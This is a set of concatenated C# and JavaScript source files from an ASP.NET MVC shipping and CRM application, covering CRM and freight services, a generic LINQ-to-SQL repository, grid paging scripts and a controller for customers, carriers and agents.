CRMBaseModel InsertCRMGroup(CRMBaseModel model);
void UpdateCRMGroup(CRMBaseModel model);
void DeleteCRMGroup(CRMBaseModel model);
IEnumerable<CRMBaseModel> GetList(SortField sort,string name);
}
public class CRMJobCategoryService : Services<CRMJobCategory>, ICRMJobCategoryService
{
public CRMBaseModel InsertCRMGroup(CRMBaseModel model)
{
var db = new CRMJobCategory { Name = model.Name, Description = model.Description };
var pr = Insert(db);
return Mapper.Map<CRMBaseModel>(pr);
}
public void UpdateCRMGroup(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
db.Name = model.Name;
db.Description = model.Description;
Commited();
}
public void DeleteCRMGroup(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
Delete(db);
}
public IEnumerable<CRMBaseModel> GetList(SortField sort,string name)
{
var list = GetQuery(x => string.IsNullOrEmpty(name) || x.Name.Contains(name)).OrderBy(sort).ToList();
return list.Select(x=>Mapper.Map<CRMBaseModel>(x));
}
}
}<file_sep>using System;
using SSM.Models;
namespace SSM.ViewModels
{
public class IssueVoucherViewModel
{
public DateTime VoucherDate { get; set; }
public Product Product { get; set; }
public Supplier Supplier { get; set; }
public Warehouse Warehouse { get; set; }
public int Quantity { get; set; }
public string UOM { get; set; }
public decimal Price { get; set; }
public decimal Amount { get; set; }
public string VoucherNo { get; set; }
}
public class StockCardFilter
{
public long ProductId { get; set; }
public long SupplierId { get; set; }
public int WarehouseId { get; set; }
public DateTime FromDate { get; set; }
public DateTime ToDate { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMPlanMonthService : IServices<CRMPlanMonth>
{
CRMPlanMonthModel InsertModel(CRMPlanMonthModel model);
CRMPlanMonthModel GetModelById(long id);
void UpdateModel(CRMPlanMonthModel model);
void DeleteModel(long id);
List<CRMPlanMonthModel> GetAllByProgram(int programId);
}
public class CRMPlanMonthService : Services<CRMPlanMonth>, ICRMPlanMonthService
{
public CRMPlanMonthModel InsertModel(CRMPlanMonthModel model)
{
var db = new CRMPlanMonth
{
PlanMonth = model.PlanMonth,
PlanValue = model.PlanValue,
PlanYear = model.PlanYear,
ProgramMonthId = model.ProgramMonthId
};
var newdb = (CRMPlanMonth)Insert(db);
return ToModel(newdb);
}
public CRMPlanMonthModel GetModelById(long id)
{
var dbm = FindEntity(x => x.Id == id);
return ToModel(dbm);
}
public void UpdateModel(CRMPlanMonthModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
db.PlanMonth = model.PlanMonth;
db.PlanValue = model.PlanValue;
db.PlanYear = model.PlanYear;
Commited();
}
public void DeleteModel(long id)
{
var db = FindEntity(x => x.Id == id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public List<CRMPlanMonthModel> GetAllByProgram(int programId)
{
var qr = GetAll(x => x.ProgramMonthId == programId).OrderBy(x => x.PlanMonth).ThenBy(x => x.PlanYear);
return qr.Select(x => ToModel(x)).ToList();
}
private CRMPlanMonthModel ToModel(CRMPlanMonth db)
{
CRMPlanMonthModel model = Mapper.Map<CRMPlanMonthModel>(db);
if (db.CRMPlanProgMonth != null)
model.PlanProgMonth = Mapper.Map<CRMPlanProgMonthModel>(db.CRMPlanProgMonth);
return model;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using SSM.Common;
namespace SSM.Models
{
public interface FreightServices {
IEnumerable<ServerFile> getServerFile(long ObjectId, String ObjectType);
bool insertServerFile(ServerFile file);
ServerFile getServerFile(long id);
bool deleteServerFile(long id);
IEnumerable<Freight> getAllFreightByType(String FreightType);
IEnumerable<Freight> getAllFreight(FreightModel FreightModel1, String FreightType);
IEnumerable<Freight> getAllFreight(long Departure, long Destination);
IEnumerable<Freight> getAllFreight(String AirlineCode);
Freight getFreightById(long id);
FreightModel getFreightModelById(long id);
Freight CreateFreight(FreightModel FreightModel1);
bool UpdateFreight(FreightModel FreightModel1);
bool DeleteFreight(long id);
}
public class FreightServicesImpl : FreightServices
{
private DataClasses1DataContext db;
public FreightServicesImpl()
{
db = new DataClasses1DataContext();
}
public IEnumerable<ServerFile> getServerFile(long ObjectId, String ObjectType) {
try {
return (from ServerFile1 in db.ServerFiles
where ServerFile1.ObjectId !=null && ServerFile1.ObjectId.Value == ObjectId
&& ObjectType.Equals(ServerFile1.ObjectType)
select ServerFile1);
}
catch (Exception e)
{
System.Console.Out.Write(e.Message);
}
return null;
}
public bool insertServerFile(ServerFile file) {
try {
db.ServerFiles.InsertOnSubmit(file);
db.SubmitChanges();
return true;
}
catch (Exception e) {
Logger.LogError(e);
System.Console.Out.Write(e.Message);
}
return false;
}
public ServerFile getServerFile(long id)
{
try
{
return db.ServerFiles.Single(s=>s.Id==id);
}
catch (Exception e)
{
System.Console.Out.Write(e.Message);
}
return null;
}
public bool deleteServerFile(long id)
{
try
{
ServerFile file = getServerFile(id);
db.ServerFiles.DeleteOnSubmit(file);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
System.Console.Out.Write(e.Message);
}
return false;
}
public IEnumerable<Freight> getAllFreightByType(String FreightType) {
try
{
return (from Freight1 in db.Freights
where (Freight1.Type != null && Freight1.Type.Contains(FreightType))
select Freight1);
}catch(Exception e) {
return null;
}
}
public IEnumerable<Freight> getAllFreight(FreightModel FreightModel1, String FreightType) {
try
{
return (from Freight1 in db.Freights
where (Freight1.Type == null || Freight1.Type.Contains(FreightType))
&& (FreightModel1.AirlineName == null || (Freight1.CarrierAirLine != null && Freight1.CarrierAirLine.CarrierAirLineName.Contains(FreightModel1.AirlineName)))
&& (FreightModel1.DepartureId == 0 || (Freight1.DepartureId != null && Freight1.DepartureId.Value == FreightModel1.DepartureId))
&& (FreightModel1.DestinationId == 0 || (Freight1.DestinationId != null && Freight1.DestinationId.Value == FreightModel1.DestinationId))
select Freight1);
}
catch (Exception e)
{
return null;
}
}
public IEnumerable<Freight> getAllFreight(long Departure, long Destination) {
return (from Freight1 in db.Freights
where (Departure == null || Departure == 0 || Freight1.DepartureId == Departure) && (Destination == null || Destination == 0 || Freight1.DestinationId == Destination)
select Freight1);
}
public IEnumerable<Freight> getAllFreight(String AirlineCode) {
return (from Freight1 in db.Freights
where Freight1.CarrierAirLine.CarrierAirLineName != null && Freight1.CarrierAirLine.CarrierAirLineName.Contains(AirlineCode)
select Freight1).ToList();
}
public Freight getFreightById(long id) {
try {
return db.Freights.Single(f => f.Id == id);
}
catch (Exception e) {
return null;
}
}
public FreightModel getFreightModelById(long id)
{
try
{
return FreightModel.ConvertFreight(db.Freights.Single(f => f.Id == id));
}
catch (Exception e)
{
return null;
}
}
public Freight CreateFreight(FreightModel FreightModel1)
{
try {
Freight Freight1 = new Freight();
FreightModel.ConvertFreight(FreightModel1,Freight1);
db.Freights.InsertOnSubmit(Freight1);
db.SubmitChanges();
return Freight1;
}
catch (Exception e)
{
System.Console.Out.Write(e.Message);
return null;
}
}
public bool UpdateFreight(FreightModel FreightModel1) {
try
{
Freight Freight1 = getFreightById(FreightModel1.Id);
FreightModel.ConvertFreight(FreightModel1, Freight1);
db.SubmitChanges();
return true;
}
catch (Exception e) {
return false;
}
}
public bool DeleteFreight(long id) {
try
{
Freight Freight1 = getFreightById(id);
db.Freights.DeleteOnSubmit(Freight1);
db.SubmitChanges();
return true;
}
catch (Exception e) {
return false;
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Linq.Expressions;
using AutoMapper.Internal;
using SSM.Common;
using SSM.Controllers;
using SSM.Models;
namespace SSM.Services
{
public enum Message
{
Successfully,
Failed
}
public interface IServices<TEntity> where TEntity : class
{
IList<TEntity> GetAll();
IQueryable<TEntity> GetQuery();
IQueryable<TEntity> GetQuery(Expression<Func<TEntity, bool>> filter);
TEntity FindEntity(Expression<Func<TEntity, bool>> filter);
List<TEntity> GetAll(Expression<Func<TEntity, bool>> filter);
long Count();
int Count(Expression<Func<TEntity, bool>> filter);
object Insert(TEntity entity);
void InsertAll(List<TEntity> entitys);
void Delete(TEntity entity);
void DeleteAll(List<TEntity> entitys);
IEnumerable<TEntity> GetObjectQuery(string sql);
bool ExecuteCommand(string sql);
IEnumerable<TEntity> GetListPager(IQueryable<TEntity> query, int page, int pageSize);
bool Any();
bool Any(Expression<Func<TEntity, bool>> filter);
void Commited();
IList<User> GetAllUser(Expression<Func<User, bool>> filter);
IList<User> GetAllUserTrading();
IEnumerable<Country> GetAllCountry();
IQueryable<Country> GetCountrys(Expression<Func<Country, bool>> filter);
}
public abstract class Services<TEntity> : IServices<TEntity> where TEntity : class
{
protected Services()
{
Context = new DataClasses1DataContext();
}
protected Services(string connection)
{
Context = new DataClasses1DataContext(connection);
}
protected DataClasses1DataContext Context { get; set; }
protected System.Data.Linq.Table<TEntity> Set
{
get
{
return Context.GetTable<TEntity>();
}
}
public IList<TEntity> GetAll()
{
return Set.ToList();
}
public IQueryable<TEntity> GetQuery()
{
return Set.AsQueryable();
}
public IQueryable<TEntity> GetQuery(Expression<Func<TEntity, bool>> filter)
{
return Set.Where(filter).AsQueryable();
}
public TEntity FindEntity(Expression<Func<TEntity, bool>> filter)
{
return Set.FirstOrDefault(filter);
}
public List<TEntity> GetAll(Expression<Func<TEntity, bool>> filter)
{
return Set.Where(filter).ToList();
}
public long Count()
{
return Set.LongCount();
}
public int Count(Expression<Func<TEntity, bool>> filter)
{
return Set.Count(filter);
}
public object Insert(TEntity entity)
{
Set.InsertOnSubmit(entity);
Commited();
return entity;
}
public void InsertAll(List<TEntity> entitys)
{
Set.InsertAllOnSubmit(entitys);
Commited();
}
public void Delete(TEntity entity)
{
Set.DeleteOnSubmit(entity);
Commited();
}
public void DeleteAll(List<TEntity> entitys)
{
Set.DeleteAllOnSubmit(entitys);
Commited();
}
public IEnumerable<TEntity> GetObjectQuery(string sql)
{
return Context.ExecuteQuery<TEntity>(sql);
}
public bool ExecuteCommand(string sql)
{
int cm = Context.ExecuteCommand(sql);
if (cm > 0)
{
return true;
}
return false;
}
public IEnumerable<TEntity> GetListPager(IQueryable<TEntity> query, int page, int pageSize)
{
var skip = (page - 1) * pageSize;
return query.Skip(skip).Take(pageSize).ToList();
}
public bool Any()
{
return Set.Any();
}
public bool Any(Expression<Func<TEntity, bool>> filter)
{
return Set.Any(filter);
}
public void Commited()
{
try
{
Context.SubmitChanges();
}
catch (SqlException ex)
{
Logger.LogError(ex);
throw;
}
catch (Exception ex)
{
Logger.LogError(ex);
throw;
}
}
public IList<User> GetAllUser(Expression<Func<User, bool>> filter)
{
return Context.Users.Where(filter).ToList();
}
private IList<User> userTrading;
public IList<User> GetAllUserTrading()
{
if (userTrading != null)
return userTrading;
return
userTrading = Context.Users.Where(x => x.AllowTrading == true && x.IsActive == true).ToList();
}
private List<Country> _countries;
public IEnumerable<Country> GetAllCountry()
{
try
{
if (_countries != null && _countries.Any())
{
return _countries;
}
const string sql = @"select * from Country order by CountryName";
var qr = Context.ExecuteQuery<Country>(sql);
return _countries = qr.ToList();
}
catch (Exception ex)
{
Logger.LogError(ex);
return new List<Country>();
}
}
public IQueryable<Country> GetCountrys(Expression<Func<Country, bool>> filter)
{
var qr = Context.Countries.Where(filter).AsQueryable();
return qr;
}
}
}<file_sep>
function SearchOption() {
jQuery('a.SectionMode').each(function (i) {
jQuery(this).click(function () {
var $this = jQuery(this);
if ($this.hasClass('Expand')) {
$this.removeClass('Expand');
if (jQuery("#outFind").length > 0)
jQuery("#outFind").hide();
} else {
$this.addClass('Expand');
if (jQuery("#outFind").length > 0)
jQuery("#outFind").show();
}
jQuery(".SectionBlockWrapper").toggle("slow");
});
});
}
function sortAction(fieldSort) {
jQuery("#Pager_Sidx").val(fieldSort);
var sord = jQuery("#Pager_Sord").val();
if (sord == 'asc') {
jQuery("#Pager_Sord").val('desc');
} else {
jQuery("#Pager_Sord").val('asc');
}
jQuery("#GridAction").val("Sort");
var form = jQuery("#SearchBlock").parents("form:first");
form.submit();
}
function resetFrom(t) {
jQuery(t).parents("form:first").trigger("reset");
if (jQuery("#ClearSearch").length > 0) {
jQuery("#ClearSearch").val("yes");
}
jQuery("#table-sarch,#SectionHeading").find("input:text").each(function() {
jQuery(this).val("");
});
jQuery("#table-sarch,#SectionHeading").find("input:checkbox").removeAttr("Checked");
if (jQuery("#SearchCriteria_RevenueStatus").length > 0) {
jQuery("#SearchCriteria_RevenueStatus").val("");
}
if (jQuery("#ColorStatus").length > 0) {
jQuery("#ColorStatus").val("");
}
jQuery("#table-sarch,#SectionHeading").find("select").each(function() {
jQuery(this).val("");
});
submitForm();
}
function goToPage(pageIndex) {
jQuery("#Pager_CurrentPage").val(pageIndex);
jQuery("#GridAction").val("GoToPage");
submitForm();
}
function onPageSizeChange() {
jQuery("#GridAction").val("ChangePageSize");
submitForm();
}
function submitForm() {
if (jQuery("#SearchQuickView").length > 0 && jQuery("#SearchQuickView").val() == "") {
jQuery("#SearchQuickView").val(0);
}
var form = jQuery("#SearchBlock").parents("form:first");
form.trigger('submit');
}
(function ($) {
jQuery.fn.extend({
OrderList: function () {
var sord = "asc";
if (jQuery("#Pager_Sord").length > 0) {
sord = jQuery("#Pager_Sord").val();
}
var sidx = "";
if (jQuery("#Pager_Sidx").length > 0) {
sidx = jQuery("#Pager_Sidx").val();
}
jQuery(".SortHeader").each(function (index) {
jQuery(this).html('');
});
sidx = sidx.replace(".", "_");
if (sord == 'asc') {
jQuery("#" + sidx + "_Title").html('<img src="/Images/sort_asc.gif"/>');
} else {
jQuery("#" + sidx + "_Title").html('<img src="/Images/sort_desc.gif"/>');
}
}
});
})(jQuery);
jQuery(document).ready(function () {
SearchOption();
});<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMStatusService : IServices<CRMStatus>
{
CRMBaseModel InsertCRMGroup(CRMBaseModel model);
void UpdateCRMGroup(CRMBaseModel model);
void DeleteCRMGroup(CRMBaseModel model);
CRMBaseModel GetModel(int id);
CRMBaseModel GetModel(CRMStatusCode code);
IEnumerable<CRMBaseModel> GetList(SortField sort, string name);
}
public class CRMStatusService : Services<CRMStatus>, ICRMStatusService
{
public IEnumerable<CRMBaseModel> GetList(SortField sort, string name)
{
var list = GetQuery(x => string.IsNullOrEmpty(name) || x.Name.Contains(name)).OrderBy(sort).ToList();
return list.Select(x => Mapper.Map<CRMBaseModel>(x));
}
public CRMBaseModel InsertCRMGroup(CRMBaseModel model)
{
var db = new CRMStatus { Name = model.Name, Description = model.Description, IsSystem = false, Code = (byte)CRMStatusCode.Orther };
var pr = Insert(db);
return Mapper.Map<CRMBaseModel>(pr);
}
public void UpdateCRMGroup(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
db.Name = model.Name;
db.Description = model.Description;
//db.IsSystem = model.IsSystem;
//db.Code = (byte)model.Code;
Commited();
}
public void DeleteCRMGroup(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
Delete(db);
}
public CRMBaseModel GetModel(int id)
{
var db = FindEntity(x => x.Id == id);
return Mapper.Map<CRMBaseModel>(db);
}
public CRMBaseModel GetModel(CRMStatusCode code)
{
var db = FindEntity(x => x.Code == (byte)code);
return Mapper.Map<CRMBaseModel>(db);
}
}
public interface ICRMPriceStatusService : IServices<CRMPriceStatus>
{
CRMBaseModel InsertModel(CRMBaseModel model);
void UpdateModel(CRMBaseModel model);
void DeleteModel(CRMBaseModel model);
IEnumerable<CRMBaseModel> GetList(SortField sort, string name);
}
public class CRMPriceStatusService : Services<CRMPriceStatus>, ICRMPriceStatusService
{
public IEnumerable<CRMBaseModel> GetList(SortField sort, string name)
{
var list = GetQuery(x => string.IsNullOrEmpty(name) || x.Name.Contains(name)).OrderBy(x=>x.Name).ToList();
return list.Select(x => Mapper.Map<CRMBaseModel>(x));
}
public CRMBaseModel InsertModel(CRMBaseModel model)
{
var db = new CRMPriceStatus { Name = model.Name, Description = model.Description, IsSystem = false, Code = (byte)CRMStatusCode.Orther };
var pr = Insert(db);
return Mapper.Map<CRMBaseModel>(pr);
}
public void UpdateModel(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
db.Name = model.Name;
db.Description = model.Description;
// db.IsSystem = model.IsSystem;
// db.Code = (byte)model.Code;
Commited();
}
public void DeleteModel(CRMBaseModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
Delete(db);
}
}
}<file_sep>//From: http://forrst.com/posts/JavaScript_Cross_Browser_Event_Binding-yMd
var addEvent = (function (window, document) {
if (document.addEventListener) {
return function (elem, type, cb) {
if ((elem && !elem.length) || elem === window) {
elem.addEventListener(type, cb, false);
}
else if (elem && elem.length) {
var len = elem.length;
for (var i = 0; i < len; i++) {
addEvent(elem[i], type, cb);
}
}
};
}
else if (document.attachEvent) {
return function (elem, type, cb) {
if ((elem && !elem.length) || elem === window) {
elem.attachEvent('on' + type, function () { return cb.call(elem, window.event) });
}
else if (elem.length) {
var len = elem.length;
for (var i = 0; i < len; i++) {
addEvent(elem[i], type, cb);
}
}
};
}
})(this, document);
//derived from: http://stackoverflow.com/a/10924150/402706
function getpreviousSibling(element) {
var p = element;
do p = p.previousSibling;
while (p && p.nodeType != 1);
return p;
}
//derived from: http://stackoverflow.com/a/10924150/402706
function getnextSibling(element) {
var p = element;
do p = p.nextSibling;
while (p && p.nodeType != 1);
return p;
}
; (function () {
var trows = document.getElementById("mstrTable").rows;
for (var t = 1; t < trows.length; ++t) {
trow = trows[t];
trow.className = "normal";
trow.onclick = highlightRow;
}//end for
function highlightRow() {
for (var t = 1; t < trows.length; ++t) {
trow = trows[t];
if (trow != this) { trow.className = "normal" }
}//end for
this.className = (this.className == "highlighted") ? "normal" : "highlighted";
}//end function
addEvent(document.getElementById('mstrTable'), 'keydown', function (e) {
var key = e.keyCode || e.which;
if ((key === 38 || key === 40) && !e.shiftKey && !e.metaKey && !e.ctrlKey && !e.altKey) {
var highlightedRows = document.querySelectorAll('.highlighted');
if (highlightedRows.length > 0) {
var highlightedRow = highlightedRows[0];
var prev = getpreviousSibling(highlightedRow);
var next = getnextSibling(highlightedRow);
if (key === 38 && prev && prev.nodeName === highlightedRow.nodeName) {//up
highlightedRow.className = 'normal';
prev.className = 'highlighted';
} else if (key === 40 && next && next.nodeName === highlightedRow.nodeName) { //down
highlightedRow.className = 'normal';
next.className = 'highlighted';
}
}
}
});
})();//end script<file_sep>using System.IO;
using System.Web;
using System.Web.Mvc;
using CrystalDecisions.CrystalReports.Engine;
using CrystalDecisions.Shared;
namespace SSM.Controllers
{
public class CrystalReportPdfResult : ActionResult
{
private readonly byte[] _contentBytes;
public CrystalReportPdfResult(string reportPath, object dataSet)
{
ReportDocument reportDocument = new ReportDocument();
reportDocument.Load(reportPath);
reportDocument.SetDataSource(dataSet);
_contentBytes = StreamToBytes(reportDocument.ExportToStream(ExportFormatType.PortableDocFormat));
}
public override void ExecuteResult(ControllerContext context)
{
var response = context.HttpContext.ApplicationInstance.Response;
response.Clear();
response.Buffer = false;
response.ClearContent();
response.ClearHeaders();
response.Cache.SetCacheability(HttpCacheability.Public);
response.ContentType = "application/pdf";
using (var stream = new MemoryStream(_contentBytes))
{
stream.WriteTo(response.OutputStream);
stream.Flush();
}
}
private static byte[] StreamToBytes(Stream input)
{
byte[] buffer = new byte[16 * 1024];
using (MemoryStream ms = new MemoryStream())
{
int read;
while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
{
ms.Write(buffer, 0, read);
}
return ms.ToArray();
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Common;
namespace SSM.ViewModels.Shared
{
public class GridNew <T, E>
{
private Pager _pager;
private T _searchCriteria;
private E _model;
private IEnumerable<T> _data;
private GridAction _gridAction;
//Properties
public Pager Pager
{
get { return _pager; }
set { _pager = value; }
}
public T SearchCriteria
{
get { return _searchCriteria; }
set { _searchCriteria = value; }
}
public E Model
{
get { return _model; }
set { _model = value; }
}
public IEnumerable<T> Data
{
get { return _data; }
set { _data = value; }
}
public GridAction GridAction
{
get { return _gridAction; }
set { _gridAction = value; }
}
public GridNew()
{
_pager = new Pager();
}
public GridNew(Pager pager)
{
Verify.Argument.IsNotNull(pager, "pager");
_pager = pager;
}
public void ProcessAction()
{
if (_gridAction == GridAction.ChangePageSize
|| _gridAction == GridAction.Sort
|| _gridAction == GridAction.Search )
_pager.CurrentPage = 1;
_gridAction = GridAction.None;
}
public static SelectList PageSizeSelectList()
{
var pageSizes = new List<string> { "10", "20", "50", "100" };
return new SelectList(pageSizes, "Value");
}
}
}<file_sep>using AutoMapper;
namespace SSM.DomainProfiles
{
public class AutoMapperDomainConfiguration
{
public static void Config()
{
Mapper.AddProfile(new TradingProfile());
Mapper.AddProfile(new DataEntryProfile());
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Web.Mvc;
using System.Web.Routing;
using System.Xml.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class DataController : BaseController
{
#region Definetion
private Grid<Customer> _customerGrid;
private Grid<CarrierAirLine> carriedGrid;
private Grid<AreaModel> areaGrid;
private Grid<Agent> agentGrid;
private Grid<Country> countryGrid;
public static String CUSTOMER_SEARCH_MODEL = "CUSTOMER_SEARCH_MODEL";
public static String CARRIER_SEARCH_MODEL = "CARRIER_SEARCH_MODEL";
public static String AREA_SEARCH_MODEL = "AREA_SEARCH_MODEL";
public static String AGENT_SEARCH_MODEL = "AGENT_SEARCH_MODEL";
public static String COUNTRY_SEARCH_MODEL = "COUNTRY_SEARCH_MODEL";
private ICustomerServices customerServices;
private ICarrierService carrierService;
private IAreaService areaService;
private IAgentService agentService;
private ICountryService countryService;
private IUnitService unitService;
private IEnumerable<Country> countries;
private IProvinceService province;
private ShipmentServices shipmentServices;
private ICRMService crmService;
public string sessageStaus;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
customerServices = new CustomerServices();
carrierService = new CarrierService();
areaService = new AreaService();
agentService = new AgentService();
countryService = new CountryService();
unitService = new UnitService();
province = new ProvinceService();
shipmentServices = new ShipmentServicesImpl();
crmService = new CRMService();
ViewData["CountryList"] = new SelectList(Countries, "Id", "CountryName");
sessageStaus = string.Empty;
}
public DataController()
{
ViewBag.MessageStaus = sessageStaus;
}
protected IEnumerable<Country> Countries
{
get
{
countries = countries != null && countries.Any() ? countries : countryService.GetAllCountry();
return countries;
}
}
#endregion
#region Customer
public ActionResult Index()
{
_customerGrid = (Grid<Customer>)Session[CUSTOMER_SEARCH_MODEL];
if (_customerGrid == null)
{
_customerGrid = new Grid<Customer>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "FullName"
}
);
_customerGrid.SearchCriteria = new Customer();
}
UpdateGridCustomerData();
ViewData["CustomerTypes"] = CustomerTypes;
return View(_customerGrid);
}
[HttpPost]
public ActionResult Index(Grid<Customer> grid, bool isNotShipment = false)
{
_customerGrid = grid;
Session[CUSTOMER_SEARCH_MODEL] = grid;
_customerGrid.ProcessAction();
UpdateGridCustomerData(isNotShipment);
return PartialView("_CustomerList", _customerGrid);
}
private SelectList CustomerTypes
{
get
{
var customerTypes = from CustomerType CT in Enum.GetValues(typeof(CustomerType))
where CT != CustomerType.CoType
select new { Id = CT, Name = CT.GetStringLabel() };
return new SelectList(customerTypes.OrderBy(x => x.Name), "Id", "Name");
}
}
private void UpdateGridCustomerData(bool isNotShipment = false)
{
ViewData["CustomerTypes"] = CustomerTypes;
var totalRow = 0;
var page = _customerGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "FullName" : page.Sidx, page.Sord == "asc");
IEnumerable<Customer> customers = customerServices.GetAll(_customerGrid.SearchCriteria, sort, out totalRow, page.CurrentPage, page.PageSize, CurrenUser);
_customerGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
_customerGrid.Data = new List<Customer>();
return;
}
_customerGrid.Data = customers;
}
[HttpGet]
public ActionResult EditCustomer(long id)
{
ViewData["CustomerTypes"] = CustomerTypes;
if (id == 0)
return PartialView("_CustomerFormEdit", new CustomerModel());
var model = customerServices.GetModelById(id);
return PartialView("_CustomerFormEdit", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditCustomer(CustomerModel model)
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
customerServices.UpdateCustomer(model);
}
else
{
model.UserId = CurrenUser.Id;
model.Id = 0;
customerServices.InsertCustomer(model);
}
return Json(1);
}
ViewData["CustomerTypes"] = CustomerTypes;
return PartialView("_CustomerFormEdit", model);
}
public ActionResult CustomerDelete(long id)
{
var shipments = shipmentServices.Count(x => x.CneeId == id || x.ShipperId == id);
if (shipments > 0)
{
var value = new
{
Views = "This customer have shipment, you can not delete it",
Title = "Error!",
IsRemve = false,
Success = false,
TdId = "del_" + id
};
return JsonResult(value, true);
}
if (customerServices.DeleteCustomer(id))
{
var crmcus = crmService.FindEntity(x => x.SsmCusId == id);
if (crmcus != null)
{
crmService.SetMoveCustomerToData(crmcus.Id, false, id);
}
}
var value2 = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value2, true);
}
public ActionResult SetSeeCustomer(long id, bool isChecked)
{
var cus = customerServices.GetModelById(id);
cus.IsSee = isChecked;
customerServices.UpdateCustomer(cus);
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetIsHideUser(long id, bool isChecked)
{
var cus = customerServices.GetById(id);
cus.IsHideUser = isChecked;
customerServices.Commited();
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetMoveToCrmCustomer(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = customerServices.GetById(id);
cus.IsMove = isChecked;
cus.MovedBy = CurrenUser.Id;
countryService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
#endregion
#region Carrier
[HttpGet]
public ActionResult Carrier()
{
carriedGrid = (Grid<CarrierAirLine>)Session[CARRIER_SEARCH_MODEL];
if (carriedGrid == null)
{
carriedGrid = new Grid<CarrierAirLine>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "CarrierAirLineName"
}
);
carriedGrid.SearchCriteria = new CarrierAirLine();
}
UpdateGridCarrierData();
return View(carriedGrid);
}
[HttpPost]
public ActionResult Carrier(Grid<CarrierAirLine> grid)
{
carriedGrid = grid;
Session[CARRIER_SEARCH_MODEL] = grid;
carriedGrid.ProcessAction();
UpdateGridCarrierData();
return PartialView("_CarrierList", carriedGrid);
}
private void UpdateGridCarrierData()
{
var totalRow = 0;
ViewData["CarrierTypes"] = CarrierTypes;
var page = carriedGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "CarrierAirLineName" : page.Sidx, page.Sord == "asc");
//IEnumerable<ca> customers = customerServices.GetAll(_customerGrid.SearchCriteria, sort, out totalRow, page.CurrentPage, page.PageSize);
var qr = carrierService.GetAll(carriedGrid.SearchCriteria);
if (!CurrenUser.IsAdmin())
qr = qr.Where(x => x.IsHideUser == false);
qr = qr.OrderBy(sort);
totalRow = qr.Count();
carriedGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
carriedGrid.Data = new List<CarrierAirLine>();
return;
}
carriedGrid.Data = carrierService.GetListPager(qr, page.CurrentPage, page.PageSize);
}
[HttpGet]
public ActionResult EditCarrier(long id)
{
ViewData["CarrierTypes"] = CarrierTypes;
if (id == 0)
return PartialView("_CarrieFormEdit", new CarrierModel());
var model = carrierService.GetModelById(id);
return PartialView("_CarrieFormEdit", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditCarrier(CarrierModel model)
{
ViewData["CarrierTypes"] = CarrierTypes;
if (ModelState.IsValid)
{
if (model.Id > 0)
{
carrierService.UpdateCarrier(model);
}
else
{
carrierService.InsertCarrier(model);
}
return Json(1);
}
return PartialView("_CarrieFormEdit", model);
}
public ActionResult CarrierDelete(long id)
{
carrierService.DeleteCarrier(id);
return RedirectToAction("Carrier");
}
public ActionResult SetCarrierActive(int id, bool isActive)
{
carrierService.SetActive(id, isActive);
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetCarrierIsSee(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = carrierService.GetById(id);
cus.IsSee = isChecked;
carrierService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetCarrierIsHideUser(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = carrierService.GetById(id);
cus.IsHideUser = isChecked;
carrierService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
#endregion
#region Agent
[HttpGet]
public ActionResult Agent()
{
agentGrid = (Grid<Agent>)Session[AGENT_SEARCH_MODEL];
if (carriedGrid == null)
{
agentGrid = new Grid<Agent>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "AbbName"
}
);
agentGrid.SearchCriteria = new Agent();
}
UpdateGridAgentData();
return View(agentGrid);
}
